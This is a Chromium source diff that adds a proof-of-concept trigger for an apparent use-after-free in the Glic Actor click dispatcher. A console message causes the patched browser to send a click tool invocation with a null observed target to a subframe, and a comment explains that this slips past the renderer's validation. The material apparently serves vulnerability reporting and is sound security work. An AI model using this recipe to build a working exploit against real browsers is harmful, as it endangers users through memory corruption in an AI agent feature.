diff --git a/chrome/browser/ui/browser.cc b/chrome/browser/ui/browser.cc index e7fe85a1eae54..c6b30db3cadf8 100644 --- a/chrome/browser/ui/browser.cc +++ b/chrome/browser/ui/browser.cc @@ -36,6 +36,12 @@ #include "chrome/app/chrome_command_ids.h" #include "chrome/browser/actor/actor_keyed_service.h" #include "chrome/browser/actor/execution_engine.h" +// --- POC: Glic Actor ClickDispatcher UAF --- +#include "chrome/common/actor.mojom.h" +#include "chrome/common/chrome_render_frame.mojom.h" +#include "mojo/public/cpp/bindings/associated_remote.h" +#include "third_party/blink/public/common/associated_interfaces/associated_interface_provider.h" +// --- end POC includes --- #include "chrome/browser/ai/ai_data_keyed_service.h" // nogncheck #include "chrome/browser/ai/ai_data_keyed_service_factory.h" // nogncheck #include "chrome/browser/app_mode/app_mode_utils.h" @@ -2213,6 +2219,45 @@ bool Browser::DidAddMessageToConsole( const std::u16string& message, int32_t line_no, const std::u16string& source_id) { + // --- POC: Glic Actor ClickDispatcher UAF ---------------------------------- + // Simulates the browser-side Glic Actor sending a ClickAction to the + // local-root OOPIF subframe at /inner.html. The bug fires in the renderer. + if (message == u"ACTOR_CLICK_POC_TRIGGER") { + source->ForEachRenderFrameHost([](content::RenderFrameHost* rfh) { + if (rfh->GetLastCommittedURL().path() != "/inner.html") { + return; + } + LOG(ERROR) << "POC: sending InvokeTool(Click) to " + << rfh->GetLastCommittedURL(); + mojo::AssociatedRemote remote; + rfh->GetRemoteAssociatedInterfaces()->GetInterface(&remote); + + auto invocation = actor::mojom::ToolInvocation::New(); + invocation->task_id = actor::TaskId::FromUnsafeValue(1); + auto click = actor::mojom::ClickAction::New(); + click->type = actor::mojom::ClickType::kLeft; + click->count = actor::mojom::ClickCount::kSingle; + invocation->action = + actor::mojom::ToolAction::NewClick(std::move(click)); + invocation->target = + actor::mojom::ToolTarget::NewCoordinateDip(gfx::Point(50, 50)); + // observed_target = null -> renderer logs "No valid APC node" and + // returns kOk from ValidateTimeOfUse. + invocation->observed_target = nullptr; + + auto* raw = remote.get(); + raw->InvokeTool( + std::move(invocation), + base::BindOnce( + [](mojo::AssociatedRemote, + actor::mojom::ActionResultPtr result) { + LOG(ERROR) << "POC: InvokeTool replied code=" + << static_cast(result->code); + }, + std::move(remote))); + }); + } + // --- end POC -------------------------------------------------------------- static bool is_headless_mode = headless::IsHeadlessMode(); if (is_headless_mode) { const bool is_builtin_component = !!source->GetWebUI();